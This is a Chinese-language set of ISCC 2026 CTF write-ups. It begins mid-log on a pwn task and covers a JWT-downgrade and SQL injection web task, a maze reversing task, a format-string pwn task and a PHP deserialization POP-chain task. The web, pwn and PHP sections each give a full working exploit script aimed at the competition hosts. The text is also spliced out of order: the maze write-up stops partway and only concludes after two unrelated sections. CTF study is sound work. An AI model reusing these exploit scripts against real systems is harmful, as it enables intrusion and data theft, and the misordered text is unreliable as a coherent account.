0x25e53689914c9400 [*] root path pointer = 0x7ffe78131fcc [+] canary = 0x25e53689914c9400 [*] root entries: ['flag.txt', '..', '.bash_logout', '.', '.profile', '.bashrc', 'lib64', 'lib32', 'dev', 'lib', 'bin', 'forest_final'] [+] flag filename pointer = 0x4044d3 [+] canary = 0x25e53689914c9400 [x] Receiving all data [x] Receiving all data: 0B [x] Receiving all data: 287B [+] Receiving all data: Done (287B) [*] Closed connection to 39.96.193.120 port 10001 [+] flag candidate: ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2} ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2}
平台自动提交通道返回:
问题与解决 这题最容易误判的地方,是看到 open/openat 一开始没有直接读出 flag,就下意识以为文件相关 syscall 被完全限制了。实际上问题不在 syscall 权限,而在路径信息。只要换个角度,先从 environ 把路径字符串和当前工作目录捞出来,再顺着根目录枚举结果去找目标文件,后半段就会从“盲开锁”变成“按图索骥”。
另一个关键点是 .bss 复用。第二轮 getdents64 把整个目录列表写进 .bss 后,如果马上返回 main,这块内存内容不会丢。于是下一轮可以直接使用 .bss 中现成的 flag.txt 字符串地址继续做 open,避免了“还得再额外塞一个路径字符串”的长度压力。
知识点总结 forest 这题把几种经典技巧串在了一起:UAF 打开前置门、printf("%s") 泄露 canary、puts@got 泄露 libc,以及利用 environ 和 getdents64 做无交互路径发现。相比直接拿 shell,这条利用链更像一次精确的进程内侦察,特别适合复习“当路径未知时,如何从现有内存和目录结构里把它找出来”。
最终 flag 1 ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2}
Web 账号“恢复”大冒险 题目信息
项目
内容
比赛来源
ISCC 2026
阶段
总决赛
赛项
练武题
题目分类
Web
题目名称
账号“恢复”大冒险
题目 ID
59
分值
200
题目地址
http://39.105.213.28:5001
附件
无
解题思路 这题表面上是一个 CloudSync 用户中心,登录后能看到 dashboard、profile 和一个平时无法直接访问的 /recovery 路由。最开始从头像同步接口 /api/avatar/fetch 入手,只能确认它存在 SSRF,但错误提示非常混乱,单靠报错很难稳定定位恢复链路。
继续沿同主机服务排查后,发现 39.105.213.28:49103 上挂着一个“值班邮件台”。这个服务存在明显的浏览器侧身份标记问题,只要伪造 mail_user 和 mail_role cookie 就能进入管理员后台。后台预览面板不仅给出了内部诊断别名,还暴露了弱比较式双人复核逻辑,可以用经典的 QNKCDZO 和 240610708 这组 0e 型 MD5 碰撞值绕过校验。
不过这里拿到的内部 report?view=flag 并不是本题最终答案,提交后平台返回错误。真正的关键点在 CloudSync 本身的 JWT。继续分析发现该站点的 token 在 status=RECOVERY 时会走一条完全不同的鉴权分支,而且签名并不会随着 payload 变化重新校验。也就是说,只要保持原 token 的签名不变,把 payload 里的 status 改成 RECOVERY,就能直接打开 /recovery。
恢复页中给出一句非常关键的提示:系统为当前账户生成了临时数据库访问凭证,并且“可以尝试自定义主题名称来测试同步功能”。结合 sync 接口的行为,马上把方向切到 SQL 注入。对 theme 传入单引号后,接口直接返回数据库报错,而且还把临时用户名与临时密码一起写进了错误信息。接着把 uid 改成一个不存在临时凭据的测试账号,可以稳定拿到原始 MariaDB 报错,于是整个漏洞链就变成了:
JWT 降级进入恢复模式,再利用 /api/v1/user/sync 的报错注入枚举数据库,最后直接从 flags 表中读取最终 flag。
技术实施 先使用正常账号登录页面,抓到原始 JWT。这个 token 的 payload 类似如下:
1 2 3 4 5 6 { "uid" : 20746 , "username" : "codex1778896026" , "status" : "NORMAL" , "exp" : 1778982716 }
保持 header 和 signature 不变,仅把 status 改成 RECOVERY,就能直接访问恢复页。
恢复页会显示当前账户对应的临时访问凭据,例如:
1 临时用户名: temp_20746_3cef7389
同时页面提示“可以尝试自定义主题名称来测试同步功能”。向 /api/v1/user/sync 提交普通字符串时接口正常返回;而提交单引号时,接口会进入 SQL 报错分支:
1 2 3 4 { "error" : "SQL Error | 临时账号: temp_20746_3cef7389 密码: 376415a47c5ad85fca87eb88cb6f3cf1" , "success" : false }
这说明 theme 参数被直接拼进了 MariaDB 查询语句。为了得到更干净的报错回显,把 JWT 中的 uid 改成不存在临时恢复数据的测试用户,比如 uid=10,就能避免应用层自己包装的临时凭据提示,直接看到数据库原始报错:
1 2 3 4 { "error" : "(1064, \"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1\")" , "success" : false }
接着使用 updatexml 做报错注入。首先确认数据库环境:
1 2 3 version() -> 11.8.6-MariaDB-0+deb13u1 user() -> app_user@localhost database() -> jwt_downgrade
然后枚举当前库里的表:
1 2 3 temp_credentials users flags
flags 表只有一行,字段是 id、flag、description。由于 updatexml 的错误信息长度有限,直接读取完整 flag 会被截断,因此改用 substr(flag, start, 10) 分段提取。
各段回显如下:
1 2 3 4 1 -> ISCC{jwt_d 11 -> owngrade_s 21 -> uccessful_ 31 -> pwn!}
拼接后得到最终答案:
1 ISCC{jwt_downgrade_successful_pwn!}
最后使用带登录态和 nonce 的提交流程向 ISCC 平台提交 challenge 59,平台返回 1,说明答案正确。
关键命令 1 2 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\Web\账号“恢复”大冒险\scripts\solve_recovery_adventure.py" python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\scripts\submit_flag.py" 59 "ISCC{jwt_downgrade_successful_pwn!}"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from __future__ import annotationsimport argparseimport base64import jsonimport refrom pathlib import Pathimport requestsBASE_URL = "http://39.105.213.28:5001" CHAL_FLAG_FMT = re.compile (r"ISCC\{[^}\n]+\}" ) ROOT = Path(__file__).resolve().parents[1 ] TOKEN_PATH = ROOT / "outputs" / "web_token.txt" def forge_recovery_token (token: str , uid: int = 10 , username: str = "ghost" ) -> str : header_b64, payload_b64, signature = token.strip().split("." ) payload = json.loads(base64.urlsafe_b64decode(payload_b64 + "=" * (-len (payload_b64) % 4 ))) payload.update({"uid" : uid, "username" : username, "status" : "RECOVERY" }) forged_payload = base64.urlsafe_b64encode( json.dumps(payload, separators=("," , ":" )).encode() ).rstrip(b"=" ).decode() return f"{header_b64} .{forged_payload} .{signature} " def leak_expr (session: requests.Session, expr: str ) -> str : payload = f"' or updatexml(1,concat(0x7e,({expr} ),0x7e),1) or '1'='1" response = session.post( f"{BASE_URL} /api/v1/user/sync" , json={"theme" : payload, "language" : "zh" }, timeout=20 , ) response.raise_for_status() match = re.search(r"XPATH syntax error: '([^']*)'" , response.text) if not match : raise RuntimeError(f"unexpected response: {response.text} " ) return match .group(1 ).strip("~" ) def dump_flag (session: requests.Session ) -> str : length = int (leak_expr(session, "select length(flag) from flags limit 0,1" )) parts = [] for start in range (1 , length + 1 , 10 ): parts.append(leak_expr(session, f"select substr(flag,{start} ,10) from flags limit 0,1" )) flag = "" .join(parts) match = CHAL_FLAG_FMT.search(flag) if not match : raise RuntimeError(f"reconstructed value does not look like a flag: {flag} " ) return match .group(0 ) def build_parser () -> argparse.Namespace: parser = argparse.ArgumentParser(description="Solve ISCC 2026 finals web challenge 账号“恢复”大冒险" ) parser.add_argument("--token-file" , default=str (TOKEN_PATH), help ="Path to a valid NORMAL-mode JWT token" ) parser.add_argument("--uid" , type =int , default=10 , help ="Recovery-mode uid used for SQLi probing" ) parser.add_argument("--username" , default="ghost" , help ="Recovery-mode username used for SQLi probing" ) return parser.parse_args() def main () -> None : args = build_parser() token = Path(args.token_file).read_text(encoding="utf-8" ).strip() forged = forge_recovery_token(token, uid=args.uid, username=args.username) session = requests.Session() session.cookies.set ("token" , forged, domain="39.105.213.28" , path="/" ) flag = dump_flag(session) print (flag) if __name__ == "__main__" : main()
验证输出 恢复态下对 theme 做报错注入时,数据库信息会稳定回显,表明 SQL 注入链条真实可用:
1 2 3 version() -> 11.8.6-MariaDB-0+deb13u1 database() -> jwt_downgrade tables -> temp_credentials, users, flags
分段读取 flags.flag 后的拼接结果如下:
1 ISCC{jwt_downgrade_successful_pwn!}
平台自动提交返回值:
问题与解决 这题最容易走偏的地方是把 /api/avatar/fetch 当成唯一主线。它确实存在 SSRF,但错误提示粒度很差,单独顺这条线推进会非常耗时。后面转而梳理同主机服务,先在“值班邮件台”里验证旧身份标记和弱比较逻辑,再回到 CloudSync 本体,才真正找到决定性漏洞点。
另一个关键坑是不要把恢复页显示的内部 report?view=flag 结果直接当作本题 flag。那一条提交后平台返回错误,说明它只是同机环境里的别的诊断数据。真正需要读取的是 jwt_downgrade 库里 flags 表的内容。
知识点总结 这题把三个经典点串在了一起:JWT 状态降级、恢复态接口暴露 SQL 报错、MariaDB updatexml 报错注入取数。
其中最有意思的是 status=RECOVERY 这条分支。正常模式下只要改动 uid 或 username,token 就会失效;但切到恢复模式后,服务端又重新信任了 payload 里的字段,直接导致 /recovery 可以被伪造进入。
报错注入部分则非常标准。拿到 version()、database()、information_schema 后,直接定位到 flags 表,再用 substr 分段读取被截断的 flag 即可。
最终 Flag 1 ISCC{jwt_downgrade_successful_pwn!}
擂台题 区域赛 Reverse 像素迷宫 题目信息
项目
内容
比赛来源
ISCC 2026
阶段
区域赛
赛项
擂台题
题目分类
Reverse
题目名称
像素迷宫
分值
150
作者
admin
题面
是像素不是0和1
附件
Flag1.zip,解压后为 PixelMaze.exe
附件 SHA256
0564d05e16e6e6dce7eca16bb7633bf7e84281d86fca4441a78511cd338ce6b0
解题思路 附件解压后得到一个 Windows 64 位控制台程序 PixelMaze.exe。程序运行后会提示输入 flag,并根据输入输出 Correct! 或 Incorrect!。
静态查看符号表时,程序没有完全剥离符号,能直接看到几个关键函数:
1 2 3 4 5 6 decryptPixel(int) getDecryptedPixel(int, int) isValidMove(int, int, char) validatePath(std::string const&) extractPath(std::string const&) main
这些函数名已经说明题目不是单纯比较字符串,而是把 flag 中的内容当成迷宫路径。于是分析重点放在 extractPath、validatePath 和 isValidMove 上。
extractPath 会检查输入格式是否为 ISCC{...},然后取出花括号内的路径字符串。路径字符串只能由 E、W、S、N 四种方向字符组成。
validatePath 从坐标 (0, 0) 开始移动,每一步先调用 isValidMove 判断当前位置是否允许该方向,然后更新坐标。只有路径最后一步刚好到达 (9, 9),程序才会返回正确。
技术实施 decryptPixel 的逻辑非常短,只是将像素值与 0x7f 异或:
1 2 3 mov eax, ecx xor eax, 0x7f ret
getDecryptedPixel 负责返回 10 x 10 迷宫中某个格子的方向位。前三行和中间四行的数据位于 .rdata,后三行通过立即数写入栈上。所有字节取出后都要再执行 xor 0x7f 才是真正的方向掩码。
isValidMove 中方向位的对应关系如下:
方向
含义
bit
E
向右
1
W
向左
2
S
向下
4
N
向上
8
因此只需要还原 100 个格子的方向掩码,再从 (0, 0) 搜索到 (9, 9) 的可行路径即可。这里使用 BFS 求最短路径。
关键命令 先运行脚本恢复迷宫并求路径:
1 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\擂台题\区域赛\REVERSE\像素迷宫\scripts\solve_pixelmaze.py"
再把脚本输出的 flag 输入程序验证:
1 2 3 $flag = "ISCC{SSENEEESENNEESWSESSSWNNWWWNWSSSWWSSEENESEENEESWSEEES}" $exe = "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\擂台题\区域赛\REVERSE\像素迷宫\evidence\extracted\PixelMaze.exe" $flag | & $exe
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from collections import dequefrom pathlib import Pathimport structCHAL_DIR = Path(__file__).resolve().parents[1 ] EXE = CHAL_DIR / "evidence" / "extracted" / "PixelMaze.exe" IMAGE_BASE = 0x140000000 RDATA_VMA = 0x1400BD000 RDATA_FILE_OFFSET = 0xBB800 def read_dwords (blob, vma, count ): off = RDATA_FILE_OFFSET + (vma - RDATA_VMA) return list (struct.unpack("<" + "I" * count, blob[off : off + 4 * count])) def recover_maze (blob ): rows_3_to_6 = read_dwords(blob, 0x1400BD0E0 , 40 ) rows_0_to_2 = read_dwords(blob, 0x1400BD180 , 30 ) rows_7_to_9 = [ 0xBE , 0xBE , 0x37 , 0x2E , 0x7E , 0xB7 , 0x8B , 0x1D , 0x66 , 0x9D , 0x6E , 0x4A , 0x3C , 0x5A , 0x7D , 0xA9 , 0x3E , 0xEE , 0x2E , 0xEB , 0x76 , 0xEE , 0x4D , 0x0C , 0x67 , 0x49 , 0xAD , 0x7C , 0x3D , 0x00 , ] encrypted = rows_0_to_2 + rows_3_to_6 + rows_7_to_9 return [[(encrypted[r * 10 + c] ^ 0x7F ) & 0xFF for c in range (10 )] for r in range (10 )] def solve (maze ): directions = [ ("E" , 0 , 1 , 1 ), ("W" , 0 , -1 , 2 ), ("S" , 1 , 0 , 4 ), ("N" , -1 , 0 , 8 ), ] queue = deque([(0 , 0 , "" )]) seen = {(0 , 0 )} while queue: row, col, path = queue.popleft() if (row, col) == (9 , 9 ): return path bits = maze[row][col] for ch, dr, dc, bit in directions: nr, nc = row + dr, col + dc if bits & bit and 0 <= nr < 10 and 0 <= nc < 10 and (nr, nc) not in seen: seen.add((nr, nc)) queue.append((nr, nc, path + ch)) raise RuntimeError("no path found" ) def main (): maze = recover_maze(EXE.read_bytes()) path = solve(maze) print (f"ISCC{{{path} }}" ) if __name__ == "__main__" : main()
验证输出 解题脚本输出:
1 ISCC{SSENEEESENNEESWSESSSWNNWWWNWSSSWWSSEENESEENEESWSEEES}
Pwn Sea 题目信息
项目
内容
比赛来源
ISCC 2026
阶段
区域赛
赛项
擂台题
题目分类
Pwn
题目名称
Sea
分值
150
作者
admin
题目地址
39.96.193.120:10009
附件
sea.zip,解压后得到 sea 和 libc.so.6
解题思路 这题最容易先想到的是“第一轮泄露 canary 和 PIE,第二轮部分覆盖返回地址 ret2win”。二进制里也确实存在现成后门 system_reboot_comms(),只要进去就会执行 system("cat flag.txt")。
但继续往下看会发现,这条路并不稳。程序启用了 SHSTK 和 IBT,而且总共只有两次输入机会,返回地址链一旦细节没对齐就直接浪费整轮连接。于是这里改成了更稳的格式串写调用点思路。
核心观察是 read 之后直接 printf(buf),而 printf 返回后程序马上会执行 fflush(stdout)。如果能把这条调用的函数指针和参数同时改掉,就不用再碰返回地址。
技术实施 第一轮先用格式串泄露 PIE。这里选 %23$p,拿到的是 main 里调用 process_emergency_command 之后的返回地址,因此减去固定偏移 0x13fb 就能还原基址。
远端实际拿到的泄露值如下:
于是得到:
第二轮的目标不是写返回地址,而是同时改两个位置:
fflush@got 改成程序自己的 system@plt.sec
stdout 全局指针改成程序 .rodata 里现成的 "cat flag.txt" 字符串地址
这样程序原本要执行的:
就会被替换成:
这里用三次 hn 改写 fflush@got 的低 6 字节,再用三次 hn 改写 stdout 的低 6 字节。因为两个目标地址都在同一个 PIE 映像里,且高两字节本来就是 0x0000,只写低 6 字节就够了。
完整利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 import refrom collections import defaultdictfrom pathlib import Pathfrom pwn import context, p64, remoteBASE_DIR = Path(__file__).resolve().parents[1 ] OUTPUT_DIR = BASE_DIR / "outputs" HOST = "39.96.193.120" PORT = 10009 LEAK_FMT = b"%23$p" LEAK_RET_OFF = 0x13FB PRELEN = 72 FIRST_ARG = 17 FFLUSH_GOT_OFF = 0x4040 STDOUT_PTR_OFF = 0x4080 SYSTEM_PLT_OFF = 0x10E0 CMD_STRING_OFF = 0x2042 def build_payload (base: int ) -> bytes : fflush_got = base + FFLUSH_GOT_OFF stdout_ptr = base + STDOUT_PTR_OFF system_plt = base + SYSTEM_PLT_OFF cmd_str = base + CMD_STRING_OFF writes = [] for target_addr, target_value in ((fflush_got, system_plt), (stdout_ptr, cmd_str)): for index in range (3 ): halfword = (target_value >> (16 * index)) & 0xFFFF writes.append((target_addr + 2 * index, halfword)) grouped = defaultdict(list ) for idx, (addr, value) in enumerate (writes): grouped[value].append((idx, addr)) count = 0 parts = [] for value in sorted (grouped): delta = (value - count) % 0x10000 if delta: parts.append(f"%{delta} c" .encode()) count = (count + delta) % 0x10000 for idx, _ in grouped[value]: parts.append(f"%{FIRST_ARG + idx} $hn" .encode()) fmt = b"" .join(parts) if len (fmt) > PRELEN: raise ValueError(f"format string too long: {len (fmt)} " ) fmt = fmt.ljust(PRELEN, b"A" ) addr_blob = b"" .join(p64(addr) for addr, _ in writes) return fmt + addr_blob def exploit () -> tuple [int , str , bytes ]: context.clear(arch="amd64" ) context.log_level = "error" tube = remote(HOST, PORT) tube.recvuntil(b"> " ) tube.sendline(LEAK_FMT) leak_blob = tube.recvuntil(b"[Remaining Attempts: 1] > " , drop=True , timeout=5 ) match = re.search(rb"0x[0-9a-fA-F]+" , leak_blob) if not match : raise RuntimeError(f"failed to leak PIE base: {leak_blob!r} " ) base = int (match .group(0 ), 16 ) - LEAK_RET_OFF payload = build_payload(base) tube.sendline(payload) raw = tube.recvall(timeout=5 ) flag_match = re.search(rb"ISCC\\{[^}]+\\}" , raw) if not flag_match: raise RuntimeError("flag not found in remote output" ) return base, flag_match.group(0 ).decode(), raw def main (): OUTPUT_DIR.mkdir(exist_ok=True ) base, flag, raw = exploit() (OUTPUT_DIR / "sea_remote_output.bin" ).write_bytes(raw) (OUTPUT_DIR / "sea_remote_output.txt" ).write_text(raw.decode("latin1" , "replace" ), encoding="utf-8" ) print (f"base = 0x{base:x} " ) print (f"flag = {flag} " ) if __name__ == "__main__" : main()
远端关键输出如下:
1 2 ISCC{8563c480-29c1-4968-b224-5bb4b3dc00b6} *** stack smashing detected ***: terminated
这里最后的异常退出是正常副作用。因为 stdout 已经被改写成字符串指针,后续 glibc 再去把它当成 FILE * 使用时必然会炸。但 flag 在这之前已经成功打印出来了。
提交到平台后,Sea 的 solves 计数从 2834 增加到 2835,可以确认本次提交已经被接受。
最终 flag 1 ISCC{8563c480-29c1-4968-b224-5bb4b3dc00b6}
Web 数字古墓 题目信息
项目
内容
比赛来源
ISCC 2026
阶段
区域赛
赛项
擂台题
题目分类
Web
题目名称
数字古墓
分值
150
作者
admin
题面
在被遗忘的数字荒原深处,沉睡着一座古老的“序列陵墓”。前殿守着能够吞噬字符的“文字陷阱”,后殿则由一连串会自行苏醒的“对象守卫”看守。只有能读懂变量铭文、操纵机关链条的探索者,才能带走隐藏的 FLAG。
题目地址
http://39.105.213.28:10026/
附件
无
解题思路 题目首页直接把 rune_trial.php 和 mechanism_chamber.php 的源码高亮出来了,因此重点不在扫目录,而在顺着两段源码把前后殿的利用链完整打通。
前半段考察 serialize -> str_replace -> unserialize 造成的长度错位。函数 p2() 会把所有 amgoinvc 替换成 iscc,于是只要让序列化结果里的字符串字段包含足够多的 amgoinvc,就能在替换后制造结构错位,把后续内容“挤出”字符串边界,伪造成新的属性。
后半段则是受 allowed_classes 约束的白名单 POP 链。可用类只有 Chronicler、RuneScribe、RitualEngine、GateSentinel 和 Keystone,所以不能套现成通用链,而要从题目给出的魔术方法之间手工拼出一条 __wakeup -> __toString -> __get -> __invoke -> run 的执行路径。
技术实施 第一阶段的关键请求参数如下:
1 2 3 4 params = { "d" : "amgoinvc" * 4 , "p" : '";s:1:"y";s:8:"admin123";}' , }
amgoinvc 被替换成 iscc 后,每次会缩短 4 字节。这里重复四次,总共制造 16 字节长度差,正好让 p 中的注入片段跨出原字符串边界。反序列化时,nameA::__wakeup() 看到的 y 已经被改写成 admin123,于是页面返回:
第二阶段的核心链条如下:
触发点
作用
外层 GateSentinel::__wakeup
对对象执行 preg_match() 时触发内层 __toString()
内层 GateSentinel::__toString
访问 $this->tool['blade']->object
Keystone::__get
取出 center 中保存的 RitualEngine 并调用
RitualEngine::__invoke
反序列化 callback 得到 [RitualEngine对象, "view"]
RitualEngine::run
将 "view" 映射成 run,最终 highlight_file() 读取 txt 文件
完整 payload 构造已经写进脚本,核心函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def build_stage2_payload (target_name: str ) -> bytes : reader = php_object( "RitualEngine" , [ (b"\x00*\x00settings" , b"N;" ), (b"target" , php_string(target_name.encode())), (b"callback" , php_string(b"" )), ], ) action = php_array([(0 , reader), (1 , php_string(b"view" ))]) engine = php_object( "RitualEngine" , [ (b"\x00*\x00settings" , b"N;" ), (b"target" , php_string(b"" )), (b"callback" , php_string(action)), ], ) key = php_object("Keystone" , [(b"center" , engine)]) inner = php_object( "GateSentinel" , [ (b"object" , php_string(b"index.html" )), (b"tool" , php_array([(b"blade" , key)])), ], ) return php_object("GateSentinel" , [(b"object" , inner), (b"tool" , php_array([]))])
最终响应中直接打印出:
1 ISCC{ankh_rune_sigma_47x_decrypted}
关键命令 1 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\擂台题\区域赛\WEB\数字古墓\scripts\solve_digital_tomb.py"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import reimport requestsBASE_URL = "http://39.105.213.28:10026" def php_string (value: bytes ) -> bytes : return b's:%d:"%s";' % (len (value), value) def php_array (items ): body = b"" for key, value in items: if isinstance (key, int ): body += b"i:%d;" % key else : body += php_string(key) body += value return b"a:%d:{%s}" % (len (items), body) def php_object (class_name: str , props ): body = b"" for name, value in props: body += php_string(name) body += value return b'O:%d:"%s":%d:{%s}' % (len (class_name), class_name.encode(), len (props), body) def build_stage2_payload (target_name: str ) -> bytes : reader = php_object( "RitualEngine" , [ (b"\x00*\x00settings" , b"N;" ), (b"target" , php_string(target_name.encode())), (b"callback" , php_string(b"" )), ], ) action = php_array([(0 , reader), (1 , php_string(b"view" ))]) engine = php_object( "RitualEngine" , [ (b"\x00*\x00settings" , b"N;" ), (b"target" , php_string(b"" )), (b"callback" , php_string(action)), ], ) key = php_object("Keystone" , [(b"center" , engine)]) inner = php_object( "GateSentinel" , [ (b"object" , php_string(b"index.html" )), (b"tool" , php_array([(b"blade" , key)])), ], ) return php_object("GateSentinel" , [(b"object" , inner), (b"tool" , php_array([]))]) def main (): session = requests.Session() stage1 = session.get( f"{BASE_URL} /rune_trial.php" , params={ "d" : "amgoinvc" * 4 , "p" : '";s:1:"y";s:8:"admin123";}' , }, timeout=10 , ) stage1.raise_for_status() filename_match = re.search(r"文件名:\s*([A-Za-z0-9_-]+\.txt)" , stage1.text) if not filename_match: raise RuntimeError("stage1 filename not found" ) filename = filename_match.group(1 ) payload = build_stage2_payload(filename) stage2 = session.post( f"{BASE_URL} /mechanism_chamber.php" , data={"data" : payload.decode("latin1" )}, timeout=10 , ) stage2.raise_for_status() flag_match = re.search(r"ISCC\{[^}]+\}" , stage2.text) if not flag_match: raise RuntimeError("flag not found" ) print (f"stage1 filename = {filename} " ) print (f"flag = {flag_match.group(0 )} " ) if __name__ == "__main__" : main()
验证输出 本地复现结果如下:
1 2 3 4 5 6 7 8 Stage 1 result: 成功!文件名: W3f82KD9.txt Stage 2 result: ISCC{ankh_rune_sigma_47x_decrypted} Platform validation: Correct!
提交到 ISCC 擂台题页面后,按钮变为绿色 Correct!,说明平台判定通过。
问题与解决 第二阶段不能直接套常规任意文件读取链,因为 allowed_classes 只允许五个类进入反序列化,而且 GateSentinel::__wakeup() 还会过滤 ..、flag 和 etc。因此正确路线是先通过第一阶段泄露一个合法的随机 txt 文件名,再把这个文件名喂给 RitualEngine::run()。
另一个关键限制在于 RitualEngine::__invoke() 只接受长度为 2 的数组,并且方法名必须经过映射表翻译,题目只开放了 "view" => "run"。payload 里如果直接写 run,链条会在映射检查处被静默截断。
知识点总结 这题把 PHP 字符串替换长度污染和白名单 POP 链组合到了一起。做这种链式 Web 题时,先从源码里找到过滤条件、触发点和最终 sink,再按触发顺序反推每个对象该长成什么样,往往比盲目试 payload 稳定得多。
最终 flag 1 ISCC{ankh_rune_sigma_47x_decrypted}
将该 flag 输入原程序,程序返回:
1 2 3 4 ===PixelMaze=== Enter flag: > Correct! Press any key to continue...
提交到 ISCC 擂台题页面后,页面返回 Correct!,说明平台判定通过。
问题与解决 这题容易被题面中的“像素”带到图像隐写方向,但附件本身是可执行文件。真正的“像素”含义在程序内部:每个迷宫格子都被当作一个加密像素值保存,解密后低四位表示该格子允许通行的方向。
另一个需要注意的点是 getDecryptedPixel 的数据并不全部连续存放在同一个位置。前三行和中间四行可以从 .rdata 读取,后三行是函数里写到栈上的立即数。只有把这三段数据拼成完整的 10 x 10 矩阵,搜索结果才会和程序校验一致。
知识点总结 本题核心是通过符号和字符串快速定位主校验逻辑,再把程序中的方向位语义还原成图搜索问题。遇到类似迷宫逆向题时,可以先确认输入格式、坐标起点终点、移动合法性和地图数据来源,然后把校验逻辑改写成脚本搜索,避免手工在反汇编中逐步尝试路径。
最终 flag 1 ISCC{SSENEEESENNEESWSESSSWNNWWWNWSSSWWSSEENESEENEESWSEEES}